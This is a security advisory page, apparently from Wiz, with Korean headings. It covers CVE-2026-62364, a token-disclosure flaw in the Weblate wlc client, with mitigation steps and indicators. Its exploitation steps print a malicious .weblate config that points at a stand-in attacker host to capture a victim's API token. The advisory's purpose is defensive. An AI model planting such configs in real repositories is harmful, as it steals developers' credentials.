CVE-2026-62364:
Python 취약성 분석 및 완화
개요
CVE-2026-62364 is an API token disclosure vulnerability in wlc, the Weblate command-line client for interacting with Weblate's REST API. When wlc automatically discovers project configuration from .weblate, .weblate.ini, or weblate.ini files in the current or ancestor directory, it may send an unscoped API token (supplied via WLC_KEY or --key) to an attacker-controlled URL defined in that configuration — rather than the user's intended Weblate instance. All versions of wlc prior to 2.0.1 are affected. The vulnerability was disclosed on June 26, 2026, and assigned a CVSS v3.1 base score of 2.3 (Low) (GitHub Advisory).
기술적 세부 사항
The root cause is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and CWE-349 (Acceptance of Extraneous Untrusted Data With Trusted Data). When wlc resolves its API URL through automatic directory-tree discovery rather than an explicit user-supplied value, it fails to validate that the discovered URL is trustworthy before attaching the user's unscoped API key to outbound requests. An attacker who controls a repository or directory that a victim checks out can place a malicious .weblate configuration file specifying an attacker-controlled API URL; if the victim then runs wlc with WLC_KEY or --key (without a matching WLC_URL or --url), the token is transmitted to the attacker's server. URL-scoped keys defined in the [keys] configuration section are not affected because they are already bound to a specific URL (GitHub Advisory, Fix PR).
영향
Successful exploitation results in the disclosure of the victim's Weblate API token to an attacker-controlled server, compromising confidentiality of the credential. With a stolen API token, an attacker could authenticate to the victim's legitimate Weblate instance and perform any actions permitted by that token, such as modifying translation projects, accessing private translation data, or further pivoting within the Weblate environment. There is no direct integrity or availability impact from the vulnerability itself, and exploitation is constrained to scenarios where the victim runs wlc inside an untrusted repository or directory (GitHub Advisory).
악용 가능성
No public proof-of-concept exploit code or in-the-wild exploitation has been reported. The vulnerability was independently reported to the Weblate project via HackerOne by researchers identified as type5afe and visionx7. Exploitation requires high privileges (the victim must possess a valid API token), local access conditions (the attacker must control a directory or repository the victim operates in), and user interaction (the victim must run wlc in the malicious directory). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (GitHub Advisory).
착취 단계
- Prepare malicious repository: The attacker creates or compromises a repository and adds a
.weblateconfiguration file containing an attacker-controlled API URL, e.g.:
[weblate]
url = https://attacker.example.com/api/- Induce victim to check out the repository: The attacker submits a pull request, shares the repository, or otherwise causes the victim to check out or
cdinto the malicious directory. - Victim runs
wlcwith an unscoped key: The victim executes awlccommand usingWLC_KEYor--keywithout specifyingWLC_URLor--url, e.g.:
WLC_KEY=<victim_token> wlc list-projects- Token transmitted to attacker:
wlcdiscovers the.weblateconfiguration, resolves the API URL to the attacker's server, and sends an authenticated HTTP request including the victim's API token in theAuthorizationheader tohttps://attacker.example.com/api/. - Attacker captures and reuses token: The attacker's server logs the incoming request and extracts the API token, which can then be used to authenticate against the victim's real Weblate instance (GitHub Advisory, Fix PR).
타협의 징후
- Network: Outbound HTTP requests from a developer workstation or CI runner to unexpected or unknown API endpoints (non-Weblate domains) containing an
Authorizationheader with a Weblate API token. - Logs: CI/CD pipeline logs showing
wlccommands executed inside a checked-out pull request directory whereWLC_KEYis set as a secret, with API calls directed to URLs not matching the organization's Weblate instance. - File System: Presence of a
.weblate,.weblate.ini, orweblate.inifile in a repository root or ancestor directory containing an unexpected or externalurlvalue under the[weblate]section. - Process:
wlcprocess making network connections to domains other than the organization's configured Weblate host whenWLC_KEYor--keyis in use.
완화 및 해결 방법
Upgrade wlc to version 2.0.1 or later, which rejects unscoped keys when the API URL originates from automatically discovered project configuration — WLC_KEY now requires WLC_URL, and --key now requires --url (wlc Release 2.0.1). As a workaround without upgrading, always explicitly pin the API URL when using an unscoped key:
WLC_URL=https://hosted.weblate.org/api/ WLC_KEY=<token> wlc ...
# or
wlc --url https://hosted.weblate.org/api/ --key <token> ...Alternatively, use URL-scoped keys in the [keys] configuration section instead of WLC_KEY/--key, and avoid running wlc with secrets in untrusted repository checkouts (GitHub Advisory).
추가 자료
리눅스 배포판 수정 현황
주요 리눅스 배포판과 그 릴리스 전반에 걸친 가용성을 수정하세요.
근원: 이 보고서는 AI를 사용하여 생성되었습니다.
관련 Python 취약점:
무료 취약성 평가
클라우드 보안 태세를 벤치마킹합니다
9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.
추가 Wiz 리소스
맞춤형 데모 받기
맞춤형 데모 신청하기
"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."